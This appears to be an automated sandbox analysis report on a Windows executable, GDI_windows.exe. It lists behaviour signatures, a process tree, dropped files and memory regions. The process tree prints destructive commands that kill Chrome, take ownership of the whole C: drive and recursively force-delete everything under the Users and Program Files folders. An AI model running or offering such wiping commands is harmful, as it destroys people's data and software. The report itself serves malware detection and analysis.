Analysis

  • user interaction
    yes
  • max time kernel
    175s
  • max time network
    190s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260126-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260126-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    24/04/2026, 02:34

Errors

Reason
Machine shutdown

General

  • Target
    GDI_windows.exe
  • Size 250KB
  • Sample260424-c2sxtac12w
  • SHA256 b1307119fd7b4ce1b43521557700ef070a8da1f1143b2bc0ab5f33c0de63fc29
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies file permissions 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 45 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe
    "C:\Users\Admin\AppData\Local\Temp\GDI_windows.exe"
    1⤵
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im chrome.exe
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im chrome.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4480
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c takeown /f C:\ /r /d y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4616
      • C:\Windows\SysWOW64\takeown.exe
        takeown /f C:\ /r /d y
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4680
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAxH
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*
        3⤵
        • Drops desktop.ini file(s)
        • Hide Artifacts: Ignore Process Interrupts
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4152
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\* &powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\* &/OSDATAxH
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Program*\*
        3⤵
        • Drops desktop.ini file(s)
        • Drops file in Program Files directory
        • Hide Artifacts: Ignore Process Interrupts
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2512
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Remove-Item -Recurse -Force -ErrorAction SilentlyContinue \Users\*\*
        3⤵
        • Hide Artifacts: Ignore Process Interrupts
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:800
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4456 -s 508
      2⤵
      • Program crash
      PID:3532
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x320 0x404
    1⤵
      PID:2124
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4456 -ip 4456
      1⤵
        PID:3764
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3532 -ip 3532
        1⤵
          PID:4752

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 1KB
              • SHA256 1f4966c208f72a652bc4fe09dcb6f725b6a25543e3f4124e4164bb95da9d6713
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 15KB
              • SHA256 4719cc4300e302a298dccb35f1c1dd6ae69bdf78616f188a5dfefb43b22644fa
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 15KB
              • SHA256 e80fc7c95ae8f3646c11ecc5bd7f875bcfadcf9f0d66b46360696312556cbdaa
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_1azwscld.gii.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1azwscld.gii.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              memory/800-59-0x00000000008A0000-0x00000000008C5000-memory.dmp

              memory/2512-49-0x0000000000D10000-0x0000000000D35000-memory.dmp

              memory/2512-44-0x0000000005CF0000-0x0000000006047000-memory.dmp

              memory/4152-16-0x0000000004D00000-0x0000000004D22000-memory.dmp

              memory/4152-35-0x0000000000830000-0x0000000000855000-memory.dmp

              memory/4152-18-0x0000000005660000-0x00000000056C6000-memory.dmp

              memory/4152-12-0x00000000048B0000-0x00000000048C0000-memory.dmp

              memory/4152-26-0x00000000056D0000-0x0000000005A27000-memory.dmp

              memory/4152-27-0x0000000005C40000-0x0000000005C5E000-memory.dmp

              memory/4152-28-0x0000000005CF0000-0x0000000005D3C000-memory.dmp

              memory/4152-29-0x0000000006C00000-0x0000000006C96000-memory.dmp

              memory/4152-30-0x0000000006180000-0x000000000619A000-memory.dmp

              memory/4152-31-0x00000000061D0000-0x00000000061F2000-memory.dmp

              memory/4152-32-0x0000000007250000-0x00000000077F6000-memory.dmp

              memory/4152-17-0x0000000004E20000-0x0000000004E86000-memory.dmp

              memory/4152-15-0x0000000004F90000-0x000000000565A000-memory.dmp

              memory/4152-14-0x00000000048B0000-0x00000000048C0000-memory.dmp

              memory/4152-13-0x0000000002290000-0x00000000022C6000-memory.dmp

              memory/4456-2-0x00000000008E0000-0x0000000000905000-memory.dmp

              memory/4456-1-0x0000000000120000-0x000000000015D000-memory.dmp

              memory/4456-60-0x0000000000120000-0x000000000015D000-memory.dmp

              memory/4456-66-0x0000000000120000-0x000000000015D000-memory.dmp

              memory/4456-72-0x0000000000120000-0x000000000015D000-memory.dmp

              memory/4456-78-0x0000000000120000-0x000000000015D000-memory.dmp

              memory/4480-0-0x0000000000F90000-0x0000000000FB5000-memory.dmp